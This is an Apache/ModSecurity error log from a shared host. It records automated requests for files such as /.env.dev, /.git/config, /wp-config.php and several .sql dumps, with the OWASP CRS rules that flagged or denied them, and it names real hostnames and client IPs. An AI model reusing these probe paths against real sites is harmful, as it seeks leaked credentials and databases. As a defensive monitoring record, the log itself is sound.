[Fri Jul 17 08:29:28.439075 2026] [security2:error] [pid 2013797:tid 2013797] [client 100.53.220.22:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "asrgroup.lk"] [uri "/dump.sql"] [unique_id "almakFh1WDijTxd1xw5JNgAAAAc"]
[Fri Jul 17 08:29:28.439413 2026] [security2:error] [pid 2013797:tid 2013797] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "asrgroup.lk"] [uri "/dump.sql"] [unique_id "almakFh1WDijTxd1xw5JNgAAAAc"]
[Fri Jul 17 08:29:28.440106 2026] [security2:error] [pid 1993668:tid 1993668] [client 100.53.220.22:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "asrgroup.lk"] [uri "/.env.dev"] [unique_id "almakBAi3pC6yjXGNq19bwAAAAU"]
[Fri Jul 17 08:29:28.440405 2026] [security2:error] [pid 1993668:tid 1993668] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "asrgroup.lk"] [uri "/.env.dev"] [unique_id "almakBAi3pC6yjXGNq19bwAAAAU"]
[Fri Jul 17 08:29:28.440571 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1011) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/6bc921a93c646c41305b57d396f20d2a7f940880.sock|fcgi://asrgroup.lk) HOSTNAME(asrgroup.lk) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:28.440814 2026] [security2:error] [pid 1993668:tid 1993668] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "almakBAi3pC6yjXGNq19bwAAAAU"]
[Fri Jul 17 08:29:28.444411 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1011) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/6bc921a93c646c41305b57d396f20d2a7f940880.sock|fcgi://asrgroup.lk) HOSTNAME(asrgroup.lk) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:28.453549 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.224.18.120:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasdev.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almakAG5-NXx3Mem1QgOMQAAAA8"]
[Fri Jul 17 08:29:28.454111 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almakAG5-NXx3Mem1QgOMQAAAA8"]
[Fri Jul 17 08:29:28.454516 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almakAG5-NXx3Mem1QgOMQAAAA8"]
[Fri Jul 17 08:29:28.499506 2026] [security2:error] [pid 1996894:tid 1996894] [client 100.53.220.22:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "asrgroup.lk"] [uri "/backup.sql"] [unique_id "almakI4Wmn5zySdNNkAlBgAAABM"]
[Fri Jul 17 08:29:28.499909 2026] [security2:error] [pid 1996894:tid 1996894] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "asrgroup.lk"] [uri "/backup.sql"] [unique_id "almakI4Wmn5zySdNNkAlBgAAABM"]
[Fri Jul 17 08:29:28.500088 2026] [hostinglimits:warn] [pid 1996894:tid 1996894] mod_hostinglimits: Error on LVE enter: LVE(1011) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/6bc921a93c646c41305b57d396f20d2a7f940880.sock|fcgi://asrgroup.lk) HOSTNAME(asrgroup.lk) URL(/index.php) TID(1996894) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:28.500111 2026] [authz_core:error] [pid 2008451:tid 2008451] [client 100.53.220.22:0] AH01630: client denied by server configuration: /home/asrgroup/public_html/wp-config.php
[Fri Jul 17 08:29:28.500228 2026] [security2:error] [pid 1996894:tid 1996894] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "almakI4Wmn5zySdNNkAlBgAAABM"]
[Fri Jul 17 08:29:28.500295 2026] [hostinglimits:warn] [pid 2008451:tid 2008451] mod_hostinglimits: Error on LVE enter: LVE(1011) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/6bc921a93c646c41305b57d396f20d2a7f940880.sock|fcgi://asrgroup.lk) HOSTNAME(asrgroup.lk) URL(/index.php) TID(2008451) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:28.506921 2026] [security2:error] [pid 1993584:tid 1993584] [client 100.53.220.22:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "asrgroup.lk"] [uri "/db.sql"] [unique_id "almakFxP5-SsqbGuGB2lWQAAAAA"]
[Fri Jul 17 08:29:28.507297 2026] [security2:error] [pid 1993584:tid 1993584] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "asrgroup.lk"] [uri "/db.sql"] [unique_id "almakFxP5-SsqbGuGB2lWQAAAAA"]
[Fri Jul 17 08:29:28.507455 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1011) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/6bc921a93c646c41305b57d396f20d2a7f940880.sock|fcgi://asrgroup.lk) HOSTNAME(asrgroup.lk) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:28.507605 2026] [security2:error] [pid 1993584:tid 1993584] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "almakFxP5-SsqbGuGB2lWQAAAAA"]
[Fri Jul 17 08:29:28.522784 2026] [hostinglimits:warn] [pid 1993998:tid 1993998] mod_hostinglimits: Error on LVE enter: LVE(1011) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/6bc921a93c646c41305b57d396f20d2a7f940880.sock|fcgi://asrgroup.lk) HOSTNAME(asrgroup.lk) URL(/index.php) TID(1993998) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:28.560037 2026] [security2:error] [pid 2014279:tid 2014279] [client 100.53.220.22:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "asrgroup.lk"] [uri "/data.sql"] [unique_id "almakEz_ZDvgWqiMlMbLjQAAAB0"]
[Fri Jul 17 08:29:28.560430 2026] [security2:error] [pid 2014279:tid 2014279] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "asrgroup.lk"] [uri "/data.sql"] [unique_id "almakEz_ZDvgWqiMlMbLjQAAAB0"]
[Fri Jul 17 08:29:28.560588 2026] [hostinglimits:warn] [pid 2014279:tid 2014279] mod_hostinglimits: Error on LVE enter: LVE(1011) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/6bc921a93c646c41305b57d396f20d2a7f940880.sock|fcgi://asrgroup.lk) HOSTNAME(asrgroup.lk) URL(/index.php) TID(2014279) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:28.560762 2026] [security2:error] [pid 2014279:tid 2014279] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "almakEz_ZDvgWqiMlMbLjQAAAB0"]
[Fri Jul 17 08:29:28.578250 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1011) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/6bc921a93c646c41305b57d396f20d2a7f940880.sock|fcgi://asrgroup.lk) HOSTNAME(asrgroup.lk) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:28.595595 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1011) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/6bc921a93c646c41305b57d396f20d2a7f940880.sock|fcgi://asrgroup.lk) HOSTNAME(asrgroup.lk) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:28.596390 2026] [security2:error] [pid 1993572:tid 1993572] [client 100.53.220.22:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "asrgroup.lk"] [uri "/.git/config"] [unique_id "almakIl9vhFBGA6D8l92mAAAAAw"]
[Fri Jul 17 08:29:28.596614 2026] [security2:error] [pid 1993572:tid 1993572] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "asrgroup.lk"] [uri "/.git/config"] [unique_id "almakIl9vhFBGA6D8l92mAAAAAw"]
[Fri Jul 17 08:29:28.596739 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1011) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/6bc921a93c646c41305b57d396f20d2a7f940880.sock|fcgi://asrgroup.lk) HOSTNAME(asrgroup.lk) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:29:28.596868 2026] [security2:error] [pid 1993572:tid 1993572] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "almakIl9vhFBGA6D8l92mAAAAAw"]
[Fri Jul 17 08:29:29.108781 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.224.18.120:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almakUz_ZDvgWqiMlMbLjgAAAB0"]
[Fri Jul 17 08:29:29.109066 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almakUz_ZDvgWqiMlMbLjgAAAB0"]
[Fri Jul 17 08:29:29.109354 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almakUz_ZDvgWqiMlMbLjgAAAB0"]
[Fri Jul 17 08:29:29.354925 2026] [security2:error] [pid 2014286:tid 2014286] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ahavafoundation.lk"] [uri "/index.php"] [unique_id "almahB15lhZh2QtC5qEWTgAAAB8"]
[Fri Jul 17 08:29:29.364257 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.224.18.120:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almakYl9vhFBGA6D8l92mQAAAAw"]
[Fri Jul 17 08:29:29.364484 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almakYl9vhFBGA6D8l92mQAAAAw"]
[Fri Jul 17 08:29:29.364746 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almakYl9vhFBGA6D8l92mQAAAAw"]
[Fri Jul 17 08:29:29.404651 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.224.18.120:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almakQG5-NXx3Mem1QgOMwAAAA8"]
[Fri Jul 17 08:29:29.404922 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almakQG5-NXx3Mem1QgOMwAAAA8"]
[Fri Jul 17 08:29:29.405277 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almakQG5-NXx3Mem1QgOMwAAAA8"]
